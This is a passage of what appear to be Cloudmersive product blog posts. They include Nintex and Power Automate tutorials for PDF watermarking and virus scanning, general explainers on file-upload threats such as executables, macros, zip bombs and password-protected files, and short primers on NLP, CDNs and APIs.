4 – Let’s now add a final step to generate our watermarked PDF. This example workflow will once again use a OneDrive for Business connector, so we’ve included the OneDrive “Store a File” action in our workflow. This action is configured to accept the Watermark PDF Output” variable we created and store it in a OneDrive folder of our choosing. We’ve elected to not overwrite existing files in future workflow runs.

5 – Now we can save and test our workflow. Let’s click “Save” in the upper left corner of the page, and let’s then give our workflow a relevant name like “Create Custom Watermark.” In the workflow description, we can specify that this workflow uses the Cloudmersive PDF API connector to accomplish its task. We can optionally elect to set our workflow and business owners, and once we’re done, we can click “Save” to finish the saving process.

6 – After saving our workflow, we can test our workflow by clicking on the “Workflow Testing” option at the top of the workflow design page. Once we do so, Nintex will stage our workflow before asking us to click “Submit” to confirm testing without dedicated start event variables.

Once we click “Submit”, Nintex will run the test and update us with instance details every 10 seconds. We’ll know the test succeeded once we see “Completed” in the “Status” column for each action in our workflow.

7 – With our test complete, we can now check our target folder for the results of our operation. We didn’t include a step to name our new file, so we should see a new PDF file with the generic name “output.pdf” in our folder.

When we open this file, we should see our new watermark running across the center of our document following our exact formatting specifications.

At this point, we’re all done. It’s just that easy to create custom watermarks in Nintex using the Cloudmersive PDF API connector.

For more information about Cloudmersive API connectors in Nintex, please feel free to reach out to a member of our sales team.

Nintex is a powerful no-code workflow automation platform featuring several built-in Cloudmersive API Connectors. In this article, we’ll walk through how you can set up a Component Workflow to scan files for viruses, malware, and non-malware threats with custom threat rules using the Cloudmersive Advanced Virus Scan API. After creating and publishing a Component Workflow in Nintex, we can call our new component from future workflows as a value-add service.

1 - Our first step is to create our new Component Workflow in Nintex. From the Workflow Dashboard, let’s click “Create Workflow” in the top left corner of the page.

2 - This brings us to the Designer page where we can incorporate new actions into our workflow. We should see a “search” tab on the lefthand side, two actions labeled “Start Event” and “Workflow Complete” in the center, and a configuration tab on the righthand side.

To begin, let’s specify that we’re creating a Component Workflow. On the righthand side of our page where it says “Start Event,” let’s click on the “start from” dropdown and select “Component Workflow” from the list.

3 - Below that same tab, let’s click “Create Variable.” We need this variable to define the data that can enter this workflow when it’s called externally.

When we click on “Create Variable,” we’ll open an expanded tab called “Variables” where we can quickly define new variables and select them when they’re needed later. Let’s name our first variable “File Input,” and then let’s navigate the Type dropdown to select “File” as our data type. When we’re done with that, let’s go ahead and click “Create” to save our variable.

Our variable should show up like this:

4 - Now we can incorporate the Cloudmersive Advanced Virus Scan API Connector. To find it, let’s click on the plus sign below the “Start Event” action. This brings up a search field where we can type “Advanced Scan a File”. This will bring up the “Advanced Scan a File” action, and we can click on it to incorporate it into our workflow.

5 - Let’s now click on the “Advanced Scan a File” action, which brings up a configuration tab on the righthand side of the page.

The first thing we need to do is create our Cloudmersive connection. Let’s click on the “Connection” dropdown and select “Add Connection”. We can give our connection a relevant name, and then we can authorize our connection by copying and pasting our Cloudmersive API key (found in the Cloudmersive Account page) into the API Key field.

After that, let’s set the file input parameter to consume the “File Input” variable we created at the beginning of our workflow. Let’s click “Insert” on the File parameter, navigate to the “Start Event” variables, and then hover over the “File Input” variable and select “Insert”.

Now we can review this connector’s Yes/No (Boolean) request parameters. These parameters are automatically set to “No”, which means executables, invalid files, scripts, password protected files and macros will all return a CleanResult: False value in the API response object. This is the default recommended setting, but we can of course change these threat rules to suit our needs. We can also include a comma-separated list of accepted file types in the “Restrict File Types” request parameter to limit acceptable files to a specific list of extensions.

After we’ve customized our threat rules, we need to save the API output in its own variable. Let’s click on the “Select a Variable” dropdown and click “add variable.”

Let’s then name our variable “Advanced Scan Results”, leave “Object” as the data type, and click “Create” to save our new variable. We can then select the “Advanced Scan Results” variable in the “Scan Result” dropdown.

We can now access the results of our scan using the “Advanced Scan Results” variable in a variety of different ways. For example, we could use “Send an Email” feature built into Nintex to share the API response with us directly any time a file is scanned using this Component Workflow.

6 - The Component Workflow logic is now complete. We can save our workflow by clicking “Save” at the top of the page. This will bring up a window where we can name our workflow, provide some details about it, and click “Save” to include it in our Workflow Dashboard.

After our workflow saves, we can publish it by clicking on “Publish” at the top of the page. This brings up a window which contains the Workflow Name and Workflow Description we created at the top. When we scroll down this window, we can assign our Component Workflow’s use for production or development, and at the bottom we can add tags and make version comments.

When we’re finished, let’s click “Publish”. This officially launches our Component Workflow and makes it available for usage in other workflows.

That concludes our Advanced Virus Scan API Component Workflow in Nintex! To learn more about using Cloudmersive API Connectors in Nintex, please do not hesitate to reach out to a member of our sales team.

Executables are a vital file type, required to install many of the desktop applications and tools we rely on day to day. They can also be used to inject malware into our system, however, which makes them a potent security threat. Below, we’ll review how legitimate executables work and discuss how malicious executable threats can be mitigated with straightforward security policies.

What are Executables?

Executables are files containing binary machine code which is explicitly intended to run (execute) on a certain computer operating system. These files make it extremely easy to distribute software programs across multiple systems through simple file sharing mechanisms. They’re commonly used to initiate the installation of commercial products like licensed business applications, computer games, and many more examples.

An executable file can be thought of like a list of instructions. After an executable file is launched on a compatible system, the system will load the file’s contents into memory and work its way down the file’s list of instructions, ultimately running the executable file’s program.

Why are Executables Dangerous?

Since executable files are designed to run programs directly after file opening, they present an ideal method for threat actors to install malicious code – including viruses, malware, and a variety of other threat types – onto a victim’s operating system. Attackers can email executable files from compromised external devices and convince victims to open (and therefore execute) their malicious files using social engineering tactics. They can also share these files directly through vulnerable file upload portals for distribution to a wide range of victims who have access to their target application’s database.

Executable files can also be distributed through far more insidious means to avoid detection from poorly configured security policies. For example, attackers can give executable files misleading names, so they appear to be an entirely different file format than they are. A file with a seemingly innocent name like “newemployeeheadshot.jpg” might contain executable contents, and this file might then successfully avoid detection from system users who assume the file contents safely match the simple, descriptive title. Additionally, attackers can bury executable files in compressed archives alongside a number of valid documents. Once files are extracted from these folders, the executable file can lay dormant until it’s opened by a downstream system user at some point in the future.

How can Executable File Threats be Prevented?

Preventing the distribution of malware within any system always begins with user accountability. System users should be regularly trained to identify illegitimate files, and they should know to avoid clicking on suspicious attachments shared from any external source.

It’s equally critical to scan files for malicious content as they enter a system at the network edge, before they enter specific applications, and while they reside in cloud storage instances. The Cloudmersive Advanced Virus Scan API can be deployed in any of those locations, and API administrators can configure custom policies in its request body (or from their Cloudmersive account page) to block executable files from entering their system. This API ignores superficial information like file names, extensions, and headers, instead performing in-depth content verification to detect and report each file’s actual encoding.

This API also scans files for viruses and malware, referencing a continuously updated list of more than 17 million virus and malware signatures in the process. Further, it provides additional request policies for blocking more non-malware threats than just executables, with coverage including scripts, macros, XML external entities, and much more. Any files found to contain viruses, malware, or non-malware threats blocked by custom policies in the API request body will receive a CleanResult: False response. This uniform threat value makes it easy to categorically delete (or quarantine) malicious files in a single API request.

For more information on the Cloudmersive Advanced Virus Scan API, please do not hesitate to reach out to a member of our sales team.

Remote Code Execution (RCE) is an extremely dangerous attack vector which aims to exploit vulnerabilities in an application’s input validation measures to execute arbitrary code. While RCE is conceptually straightforward, it’s also an extremely broad threat category. There are multiple ways RCE can be accomplished, and the outcomes can vary greatly depending on a threat actor’s individual goals.

What are Common Remote Code Execution Outcomes?

Threat actors can use Remote Code Execution attacks to accomplish a variety of malicious outcomes. A few of those outcomes are outlined below.

One common goal of an RCE attack is to disrupt regular activity within a system or network, often with the intention of causing Denial of Service. By gaining unrestricted access to a system, a threat actor can arbitrarily change important system information, remove critical files, and deny external users access to the system’s internal resources. This type of RCE attack severely damages the victim’s reputation, often causing irreparable harm to their current and future business prospects.

Another common goal of RCE is Data Theft. Most companies thriving in the modern, digital landscape view data as their most valued asset, including financial data, customer data (e.g., personal contact information), and much more. Motivated threat actors are aware of this fact, and as a result, RCE attacks often aim to retrieve or modify data housed in sensitive storage locations. Once a threat actor gains access to internal data, they can remove (steal) it, corrupt it, or threaten to delete it unless the victim provides financial compensation (i.e., ransomware).

How is Remote Code Execution Accomplished?

At a high level, to accomplish any RCE attack, a threat actor must first find weak points in their target’s system or network. After that, they can begin sharing malicious code by exploiting the vulnerability they found. Once they succeed in the first two steps, the threat actor can hijack their target system/network or compromise data for a variety of purposes.

One common system vulnerability is found in an application’s data deserialization process. By sending malicious objects through a poorly sanitized data parser, a threat actor can trick an application into executing code of their choosing. Several high-profile attacks in the last decade have utilized this method, and in one case, this resulted in theft of customer data on an unprecedented scale.

Another common vulnerability is found in a system’s external file upload process. In recent years, adoption of direct file upload workflows has grown in lockstep with businesses gaining increased access to affordable cloud storage solutions, and this development has encouraged threat actors to seek out file upload vulnerabilities much more actively. If file uploads aren’t scanned and validated thoroughly, threat actors can carry out RCE attacks by loading files with malicious code and delivering them through a vulnerable upload portal.

Protect your System with the Cloudmersive Advanced Virus Scan API

The Cloudmersive Advanced Virus Scan API provides 360-degree content protection for your system and/or network (depending on where you choose to deploy it). Its anti-virus and anti-malware policies reference a continuously updated list of more than 17 million virus and malware threats, and its non-malware threat detection capabilities can be customized to block common RCE file upload attack vectors, including executables, invalid files, scripts, password-protected files, insecure deserialization, and more.

For more information on the Cloudmersive Advanced Virus Scan API, please do not hesitate to contact a member of our sales team.

What is a Macro?

Like most non-malware file upload threats, there’s nothing inherently malicious about a macro. At a high level, macros are just lines of Visual Basic (VBA) code embedded within a Microsoft document, and they’re generally intended to expedite some specific tasks performed within that document through process automation. For example, a macro might be created to automatically format text entered within specific cells in an Excel spreadsheet, or it might be used to create formulas that change based on certain evolving input criteria.

Why are Macros a Security Threat?

Despite their time-saving benefits, macros unfortunately represent a significant attack vector which threat actors exploit with relative ease. Since the introduction of macros in the early 90’s, threat actors have consistently (and quite often successfully) used them to inject malware onto client devices, often compromising systems completely while also gaining exponential access to new victims through those systems. Since macros can be primed to run based on simple document events (e.g., when a document is opened), all it takes is one errant double-click from a system user to trigger a full-blown malware crisis.

Contributing to the challenge of mitigating macro threats is the fact that Microsoft document formats are ubiquitous in professional systems. Files like .DOCX and .XLSX, for example, are used widely in professional environments all around the world, which means system users naturally expect to see them attached to emails and saved within important shared folders. By applying basic social engineering techniques, threat actors can share documents containing malicious macros (or encrypted .ZIP archives containing multiple infected documents) from compromised devices, assuring the recipient that enabling the macro provides access to necessary content. They can also share their infected document through an insecure file upload portal, waiting patiently for a downstream internal or external user to access that file and unleash its contents.

How are Macro Threats Mitigated?

Recent versions of Microsoft Office disable macros by default, so keeping systems up to date is an important first step. Additionally, regular user training is critical to prevent the spread of any type of malware through social engineering techniques; system users should always know how to identify suspicious emails and subsequently avoid clicking on their attachments.

A comprehensive anti-macro policy can also be configured within the Cloudmersive Advanced Virus Scan API request body. Setting the allowMacros Boolean to “False” will return a CleanResult: False response for any files containing macros, making it easy to delete or quarantine these files alongside other virus, malware, and non-malware content threats. This API references a continuously updated list of more than 17 million virus and malware signatures, including ransomware, spyware, trojans and more, and it delivers high-speed, sub-second typical response times.

For more information on Cloudmersive Virus Scanning APIs, please feel free to contact a member of our sales team.

Sharing groups of files in .ZIP archive format is common practice for users working within most professional networks. Compressing bulky files (including .PPTX, .XLSX, or .DOCX for example) drastically accelerates file upload processes and facilitates faster file sharing over communication platforms. The trouble with .ZIP files, however, is that they’re just as expedient for client-side threat actors as they are convenient for trustworthy users. As a result, it’s often best to avoid allowing .ZIP files move through our network entirely.

What makes .ZIP archives dangerous?

Files containing viruses, malware and other malicious content can be compressed together into .ZIP archives and jointly bypass weakly configured upload security policies. In some cases, polymorphic code can be used to further disguise these threats, ensuring any traceable signatures change frequently enough that basic anti-virus & anti-malware policies are thrown off their trail. Left undetected, these unsafe archives can remain dormant in file storage for extended periods of time before trusted users unwittingly open and activate their contents.

Further, even without using malicious code, threat actors can weaponize .ZIP files by filling them with immense quantities of data. Known as “ZIP Bombs,” these overloaded archives are intended to rapidly overwhelm and crash a system once opened, triggering Denial of Service (DoS) and sometimes opening the door to subsequent cyber-attacks.

How can the Cloudmersive Advanced Virus Scan API protect a system against unsafe archives?

Deployable in multiple critical locations around a network – including at the file storage layer, at the network edge, and in defense of any specific application with custom code integration – the Cloudmersive Advanced Virus Scan API can be used to scan inbound & outbound archives for millions of virus and malware signatures. In addition, a custom policy can be configured within the Advanced Virus Scan API request body to specifically detect and weed out unsafe archive contents. Once configured, all unsafe archives will receive a CleanResult: False Boolean within the API response body, making it easy to delete or quarantine these files before they can reach their intended destination.

For more information on Cloudmersive Virus Scanning APIs, please do not hesitate to reach out to a member of our sales team.

New file upload security policies are typically workshopped in response to threats which successfully breached (or came close to breaching) some reputable organization's systems. Once brought to fruition, these advancements allow our own systems to inch closer towards becoming havens for valuable and sensitive customer data.

The challenge is that determined threat actors work equally hard to overcome new attempts to ward them off, and they’re quite often successful. Right when we least expect it, clandestine file upload attacks are carried out through even more convoluted pathways than we first imagined possible, often catching us off guard completely.

Why are password-protected file threats so dangerous?

Password-protected files are a particularly subtle threat type, designed to slip malicious code past poorly configured input validation/content verification policies while relying on us – the internal (or external) user accessing that file – to eventually execute that code within the targeted system. One of the most challenging aspects of threats involving password-protected files is that they tend to leverage simple & effective social engineering concepts, goading us into unlocking a threat which we aren’t alert to.

A threat actor can, for example, infiltrate systems adjacent to ours – i.e., a trusted client or partner – and then email or upload password-protected files to our system from a seemingly legitimate source. If we normally trust content originating from that source, we’re quite unlikely to suspect a potential threat, and we might blindly follow instructions to unlock that file with a password supplied alongside it. Many commonly shared file types like Excel (XLSX) and PDF are capable of housing malicious code behind password protection, and that code is designed to execute immediately once the file’s password is supplied.

How can I stop password-protected file threats from harming my system?

First and foremost, if password-protected files are a recurring and immutable form of content our job necessarily deals with, our own vigilance is key. Malicious password-protected files are sometimes identifiable by their incongruous names and suspect purposes; if we see a file that doesn’t look right, there’s a good chance it isn’t. It’s important to exercise extreme caution if we’re suddenly equipped with the means to unlock content which we don’t fully understand the origin or purpose of. We should always feel entitled to question where a file came from, who the original creator is, what the intended use-case for that file is, and more.

If password-protected files are not a necessary part of our workflow, however – which is often the case in scenarios involving external client-side file uploads – blocking them altogether is a sensible step to take.

The Cloudmersive Advanced Virus Scan API can be used to block password-protected files from a file upload process entirely. By setting the allowPasswordProtectedFiles Boolean to “false” in our request (configurable via our Cloudmersive Account page), we can ensure that all files with password protection will categorically receive a CleanResult: False response from the API, allowing us to easily delete (recommended) or quarantine these files and protect our underlying system from potential harm.

For more information on how the Cloudmersive Advanced Virus Scan API can protect any system from non-malware content threats, please feel free to reach out to a member of our sales team.

What are file upload threats?

File upload threats refer to deliberate attempts, orchestrated by malicious client-side actors (i.e., hackers), to exploit our systems from the inside out by weaponizing common files in various ways. The incentive to execute such attacks is largely driven by an increase in the adoption of file upload processes by professional websites around the world.

File upload threats can be used to target a wide range of vulnerabilities in a file upload process. JSON or XML files can, for example, contain malicious code designed to be executed by poorly configured data parsers, allowing attackers to subsequently retrieve or delete sensitive data from within a system. PDF files can house dormant viruses and malware which infect client-side user devices once downloaded, leaving the website they originated from directly accountable and seriously damaging their reputation. Zip files can be rigged with exceptionally high volumes of data in order to crash (or severely limit) our system once they're opened, resulting in a sudden Denial of Service (DoS). The list goes on.

How do I protect my application against file upload threats?

There isn’t any one-track answer to this question, unfortunately. There are, however, a variety of sensible security policies which, applied together, can collectively create a formidable content security phalanx for any application. Below, we’ll look at a few of the most critical, rudimentary policies which can help secure any file upload process.

First and foremost, it’s critical to validate file extensions immediately after file names are decoded, which is a process made simpler by restricting accepted file extensions in the first place. While myriad file types are used around the world, most businesses only need to accept a few common file types to fulfill the needs of the service they’re providing. A recruitment website, for example, can comfortably limit CV (resume) uploads to .DOCX or .PDF file extensions without inconveniencing their user base, and a social media site can narrow its image uploads to .JPG or .PNG with similar effect.

It's equally important to validate file contents, too. Files with valid, expected extensions can quietly contain a very wide range of malicious content, including anything from viruses and malware to illicit (i.e., pornographic) material. As outlined above, poorly validated files can also contain massive quantities of inert data intended to bypass limited security checks and crash a system. Without digging into the contents of every new file upload, an application is at severe risk of releasing a virus internally (or infecting an external user device), distributing unsolicited illicit content, or triggering widespread service outages which might violate its SLA (Service Level Agreement).

How can the Cloudmersive Advanced Virus Scanning API Protect my system against file upload threats?

By combining multiple critical file upload security policies in a single API call with high-speed, in-memory scanning and sub-second response times, the Advanced Virus Scanning API protects applications against file uploads with unparalleled efficiency. This API is designed to provide 360-degree content protection against a wide range of file upload threats at once - including viruses and malware, executables, invalid files, HTML and scripts, password protected files, macros, XML external entities, JSON insecure deserialization, and OLE (Object linking and embedding). In the core virus scanning process, a perpetually cloud-updated list of more than 17 million virus and malware signatures is referenced to rapidly identify any potential viruses, malware, trojans, ransomware, or spyware embedded within a file’s encoding.

Apart from virus and malware checks, each built-in threat restriction stated above can be lifted by configuring the API’s request parameters with custom Boolean values (for example, to allow executables, the allowExecutables parameter can be set to “True”). Additionally, restrictions on unwanted file types can be placed upon any file upload process by providing a list of acceptable file types in comma-separated format. Once a list is designated in the API request, all file extensions AND contents will be verified against this list; any files which violate the file restriction policy will categorically receive a CleanResult: False response from the API.

For more information about Cloudmersive Virus Scan APIs (low-code and no-code products), please do not hesitate to reach out to a member of our sales team.

Seemingly harmless, run-of-the-mill document uploads in SharePoint can hide dangerous viruses and malware threats under the guise of valid file extensions. The longer these infected files remain undetected, the more likely it is that a member of our organization unwittingly opens one and releases its malicious content into our system.

Thankfully, through Power Automate, we can create RPA file security flows which automatically run when new files are uploaded to specific SharePoint locations. Below, I’ll demonstrate how we can use the Cloudmersive Virus Scanning Connector to ensure new SharePoint List Item Attachments are clean the moment they’re uploaded to a specific list.

Demonstration

The goal of this demonstration is to show how the Cloudmersive Virus Scanning Connector can be used in a Power Automate flow to automatically scan SharePoint list item attachments the moment they’re uploaded.

1 - To accomplish this, we’re going to start on the Power Automate home page and select the Create option on the lefthand side of the page. Doing so will provide us with the following flow options:

For this flow, we’re going to select the Automated Cloud Flow option on the far lefthand side.

2 - Once we select this option, we’ll jump into the Build an Automated Cloud Flow tab which allows us to give our flow a name and choose the way our flow will be triggered. At this stage, we can give our flow a relevant name of our choosing, and then we can select the When an Item is Created SharePoint trigger (which should appear high on the list of initial trigger options).

At this point, we can click Create at the bottom of the window. Doing so will bring us to the Flow Diagram Page where we can begin assembling our flow logic.

3 - On the Flow Diagram Page, we’ll find our When an Item is Created trigger already opened. We can begin the flow design process by configuring our SharePoint Site Address within the request body and selecting the List Name we want to attach this flow to (for this demonstration, I’ve created a Site Address called “List Site” with a List called “List”).

Once we’ve configured these details, we can click New Step.

4 - In the second step of our flow, we’re going to implement a second SharePoint action which will automatically retrieve the attachments from our new SharePoint list items. To find this action, we can type “Get attachments” into the Choose an Operation search bar and select that option when it comes up below.

Once we select this option, we’ll have a few important fields to configure.

5 - Just like we did in our trigger step, we’ll need to configure our SharePoint Site Address and List Name once again. After we do that, we’ll need to supply the Id of the List Item which we’re pulling the attachments from. We can accomplish this easily by simply clicking on the Id field and selecting the “Id” option from the Dynamic Content window.

Since we chose to use an automated flow, the List Item Id will always represent the most recently uploaded file to our SharePoint list.

This step is finished, so we can go ahead and click New Step once again.

6 - Now that our new list items’ attachment IDs are available as Dynamic Content within our flow, we can set up a subsequent step which retrieves the actual contents (file encodings) of those attachments.

To do so, we’ll use the SharePoint Get Attachment Content action. To find this action, we can type “get attachment content” into the Choose an Operation search bar and select the correct option when it comes up below.

7 - Once we select this action, we’ll need to again choose our Site Address and List Name from their respective dropdowns. After that, we can again select the ID of our List Item using Dynamic Content from our trigger step.

Once we’ve configured the first three fields of our Get Attachment Content action, we can turn our attention to the final field which asks for the File Identifier. We can retrieve this ID by clicking on the File Identifier field and selecting Dynamic Content labeled “Id” from the Get Attachment step.

The moment we select this option, Power Automate will automatically create a Control around our SharePoint action called Apply to Each. This action will ensure our attachment content retrieval operation is executed for each item in an array of uploads.

8 - With our file attachment content now available in our flow, we can introduce the Cloudmersive Virus Scanning Connector and task it with scanning each new attachment’s contents.

Within the Apply to Each operation, let’s select the option to Add an Action, which will once again open the Choose an Operation search bar. From here, we can type “Cloudmersive” and allow the full list of Cloudmersive Connectors to populate below. From that list, we can select the Cloudmersive Virus Scanning Connector (written as Cloudmersive Virus Scan) with the dark, blue-green logo.

Upon selecting this Connector, we’ll be prompted to name our connection and provide an API key for authorization. We can retrieve our API key by visiting our Cloudmersive Account Page, clicking on View and Manage API Keys, and finally clicking Copy next to our API key to add it to our clipboard.

Once we’ve successfully established our Cloudmersive connection, we can now view both Cloudmersive Virus Scanning Connector actions on the actions list. From this list, we can click on the Scan a File for Viruses option.

9 - Within the Scan a File for Viruses action, we only have one request field to satisfy, and this simply asks us for our Input File. To satisfy this request field, let’s click on the Input File bar and select the Attachment Content option – which is available from our Get Attachment Content action – from the Dynamic Content window.

10 - At this point, we can save our flow and test it. Power Automate will prompt us to test our flow manually by creating a new SharePoint list item and adding a file attachment to it.

Once we do so, we should shortly see green checkmarks appear on each operation in our flow to indicate that they ran smoothly.

If we take a closer look at the Scan a File for Viruses output body, we can see that this action provides a simple Boolean response called CleanResult.

This response makes it easy to take subsequent steps in our flow depending on the results of the virus scan. For example, if our new file receives a CleanResult: True response, we can prompt our flow to automatically save the attachment in a specific folder of our choosing. If our file receives a CleanResult: False response, we can take steps to automatically delete or quarantine the infected file through various means, and we can set up alert mechanisms (such as through Outlook, Slack, Teams, etc.) to notify relevant stakeholders within our organization about the flow’s concerning results.

11 - To automatically delete SharePoint List Items whose attachments received a CleanResult: False response, let’s click Add an Action once again within our Apply to Each control and type “Condition” into the Choose an Operation search bar. Let’s then select the Condition action once it comes up below.

Once we’ve opened the Condition control body, we can use the Choose a Value request field to trigger subsequent flow actions based on previous flow results.

In this case, we want to use Dynamic Content from the Scan a File for Viruses action. To do so, let’s first click on the first (lefthand) Choose a Value field and select CleanResult, and then let’s type “false” into the second (righthand) Choose a Value field.

Our Condition is now configured such that the If Yes response will trigger based on a CleanResult: False result, and the If No response will trigger if any other value is provided (in this case, that means CleanResult: True).

Within the If Yes body, let’s click Add an Action and type “delete item” into the Choose an Operation search bar. Let’s then select the SharePoint Delete Item action when it comes up below.

Within this action body, we can quickly provide our Site Address and List Name once again. After that, we can select ID from the Dynamic Content window to specify that the original flow item should be deleted upon receiving a CleanResult: False response.

In this example, we’ll leave the If No body blank so that our flow takes no action when it receives a CleanResult: True response.

Our flow should look like this when we’ve finished testing:

Final Thoughts

If you have any additional questions about using Cloudmersive Virus Scanning Connectors to scan your SharePoint file uploads, please do not hesitate to contact a member of our sales team (you may also contact a member of our support team through your account page).

What is Natural Language Processing?

Natural Language Processing (NLP) is a field of artificial intelligence which aims to improve the relationship between human language and computer language. Its origins date back to the period directly following the end of the Second World War, during which time the prospect of accomplishing some means of mechanical language translation was placed at a premium.

The field of NLP persisted into its expansive modern form due to the emergence of computers as everyday tools and the studiously recorded dissonance between human and computer language which came along with that. The challenge is that we humans chiefly learn to interpret our native languages/dialects (English, Spanish, French, Mandarin, etc.) in an unstructured way through years of socialization. We may initially learn the rules of our language through academia, but as we grow, we rely predominantly on our surrounding cultures to assign meanings to specific words and phrases, which then slowly change shape over time. Since computers conversely rely on rigidly structured, quantifiable data to communicate with one another, they cannot natively interpret asynchronous, evolving human languages on their own, and must be rigorously trained to do so as a result.

Why is NLP Important, and How is it achieved?

Natural Language Processing combines a variety of scientific fields – including computer science, linguistics, mathematics, and psychology – with the goal of structuring linguistic data in such a way that computers can successfully and efficiently predict the meaning of human sentences (in any given language; NLP is highly language-specific). Successfully predicting the meaning of written language allows computers to both draw insights from and reproduce human language on their own, increasing the range of useful services computer applications can provide to human users. Given that, in the modern digital era, an increasingly high volume of human interactions occurs online in an automated fashion, NLP capabilities have quickly transformed into a necessity rather than a luxury.

The high-level NLP training process starts with tokenizing vast quantities of reference text into individual words and tagging each token with the part-of-speech category it belongs to (i.e., verb, noun, adjective, etc.). Once language has been tokenized and tagged, parsing algorithms can be applied to establish relationships between different tokens, enabling computers to discern how words tend to occur (in what order) in any given language’s phrases or clauses. These basic building blocks make it possible for applications to perform several rudimentary NLP services – many of which we have benefited from for a long time (like spellcheck, for example).

From these building blocks, various complex subfields of NLP branch out to train computers with specific contextual understandings which are pivotal to a well-rounded understanding of any human language. Some subfields include Sentiment Analysis (identifying the meaning of text as positive, negative, or neutral), Subjectivity/Objectivity Analysis (identifying the bias inherent in a text string), Semantic Similarity Comparison (identifying the degree to which two sentences with different words mean the same thing semantically), and more. Techniques such as these effectively empower our applications to draw meaningful insights from text on their own, rather than simply predict and reproduce words in the correct grammatical order.

Cloudmersive NLP APIs

Creating any NLP service from scratch is a significant challenge given the vast quantities of data involved (bringing overhead storage cost into play) and the hands-on training required to bestow meaning upon that data. As a result, it is highly efficient and advantageous to incorporate NLP services into any application through external, RESTful API calls. This method loosely couples a business’ text data with a powerful, pre-existing reference dataset & codebase without the need to update or maintain those systems whatsoever.

Cloudmersive NLP APIs are low-code solutions designed to easily integrate and scale with your business’ needs. There are dozens of useful NLP services available through the Cloudmersive NLP API endpoint, including NLP Analytics, Language Translation, Spellcheck, and more.

For more information on our NLP APIs, please do not hesitate to contact a member of our sales or support teams.

Should I be Worried About File Upload Threats?

Cyber criminals are always on the lookout for new vulnerabilities in our applications. If they can effectively identify and exploit a hidden weakness in our system, they can damage or steal information from our servers – often before we have a chance to stall or counter their efforts. Since a variety of successful, high-profile web breaches have stolen headlines in the last decade (including several in which poorly documented vulnerabilities were exploited in data parsers, user input sanitization workflows, and more), it’s easy to forget about the more obvious paths we leave open into our system which are often less protected and easier to take advantage of.

As more and more businesses move towards implementing user file upload workflows – accepting images, videos, and documents with myriad purposes and origins – the potential to exploit systems through the file upload process has grown all the more attractive to attackers. As a result, it's important that we stay vigilant and apply appropriate security policies to protect our storage infrastructure.

What do File Upload Threats Entail, and How Can We Protect our System Against Them?

Without adequate protection, file upload workflows can be exploited more insidiously than we might first imagine. For example, files in ubiquitous formats (like PDF) can quietly carry malware or executable content into our cloud storage instances, tricking poorly configured security policies by presenting valid file extensions. Compressed zip files containing gigantic payloads of data can slip into our system and remain undetected for days, weeks or even months before they’re opened by an unsuspecting user, suddenly crashing our system from the inside. The list of hidden threats goes on and on.

Protecting a system against file upload threats requires a dynamic, multi-pronged solution, and that can only begin with a comprehensive evaluation of the present state of file upload security. Is our virus scanning software up to date? Are we assuming files contain content directly aligned with their file extensions, or are we digging through each file’s contents thoroughly? Do we pay close enough attention to the complexity of file names and file paths in our storage architecture, or are we unwittingly leaving a trail of breadcrumbs which attackers can easily follow to our sensitive data? Do we have clear-cut quarantine protocols in place when malicious files are detected, or are we really unprepared to handle threats when we find them?

How can Cloudmersive Virus Scanning APIs Improve My Threat Profile?

Implementing a powerful file scanning security solution is a critical piece of the puzzle – and that’s where Cloudmersive Virus Scanning APIs can make a big difference.

Our Virus Scanning APIs reference a continuously updated list of more than 17 million virus and malware signatures in an effort uncover malicious content in each file entering your system, digging deep into each file’s encoding to ensure disguised threats won’t slip through the cracks. Advanced scanning features can be configured to block a variety of threatening file types, including executables, invalid files, scripts, password protected files, macros, and more; in addition, custom restrictions can be applied to allow/disallow specific file extensions.

These APIs can be deployed flexibly as low-code or no-code solutions, and they can occupy several strategic footholds in your upload architecture, kicking into gear at the network edge or between cloud storage instances.

For more information on how our Virus Scanning APIs can impact your business, please feel free to contact a member of our sales team.

What is a Content Delivery Network?

A Content Delivery Network (CDN) refers to a group of servers strategically distributed across widespread geographical regions with the goal of reducing content loading speeds (latency) for client devices in those regions.

It’s important to note that servers in a CDN don’t host content directly, however; rather, they simply cache content from an origin server at the network edge. In this way, they reduce the physical distance content must travel to reach a particular group of client applications/users.

What are the main benefits of CDNs?

By reducing the distance content must travel to reach a client application, CDNs greatly improve web content loading times in their locale, thereby improving the user experience.

If, for example, a popular video streaming service based in North America is preparing to launch an episode of a TV show for a global audience, it can leverage its CDN to cache the episode data in Europe-based servers so it can be accessed easily by European consumers upon release. Without a CDN in place, viewers based in Europe would be forced to wait much longer than North American viewers to buffer and watch the new episode. Each individual request to load that content would need to travel across the Atlantic Ocean and back.

While CDNs are primarily deployed to benefit content consumers, they also benefit the content provider in a few noteworthy ways. For example, caching content at the network edge reduces the volume of traffic making requests to a company’s origin servers, improving local performance and, by extension, cheapening web-hosting costs. A widely distributed content delivery architecture also passively decreases the likelihood of hardware failures and provides extra redundancy when failures do occur.

What other utility do CDNs offer?

Websites which rely on user-generated content (UGC) uploads can also leverage their CDN in reverse, increasing the speed at which their global diaspora of users can upload content from their device. This not only improves the user experience, but it also presents a new chokepoint for security redundancy. Similarly to reverse proxies, CDN servers can be configured with Virus Scanning software to weed out threats while new content uploads are conveniently cached at the network edge.

Can I Secure My Website's CDN Uploads with Cloudmersive Virus Scanning APIs?

Cloudmersive Virus Scanning APIs can be deployed within a CDN to quickly identify any viruses and malware present within your cached content. Advanced custom rules can be configured to block additional content threats including invalid files, executables, scripts, password protected files, macros, and many more.

For more information on how you can leverage our Virus Scanning APIs to protect your network, please feel free to contact a member of our sales team.

What does the acronym “API” stand for?

The term API Stands for “Application Programming Interface.” Despite its association with modern web architecture, the term originated in the 1970’s.

What are the different categories of APIs, and how are they different from one another?

There are two basic, high-level categories of APIs: OS (operating system) APIs and Web APIs. The key difference between these categories is that OS APIs make it possible for developers to access resources within a specific operating system (such as Mac, Windows, Linux, etc.), while Web APIs make it possible to access resources from web servers.

Some common examples of OS APIs include System Call APIs, GUI (Graphical User Interface) APIs, and Network APIs, all of which define access to their namesake resources within a given OS architecture. Web APIs, on the other hand, are defined quite differently; they most often either adhere to REST (Representational State Transfer) architecture or follow SOAP (Simple Object Access Protocol) protocol. Please note that there are several other types of OS and Web APIs beyond those listed above; these examples are simply among the most common.

How do Web APIs work, and how do they benefit us day to day?

Simply put, Web APIs make it possible for two separate web resources to communicate with ease. Many of the web applications and tools we use day-to-day benefit enormously from sharing data with each other, and for that relationship to be possible, these applications need to access each other’s code efficiently. A Web API serves to establish the way in which its underlying web resource can be accessed, allowing an external web developer to send, modify, and receive important data by structuring their request to that resource in a specific way.

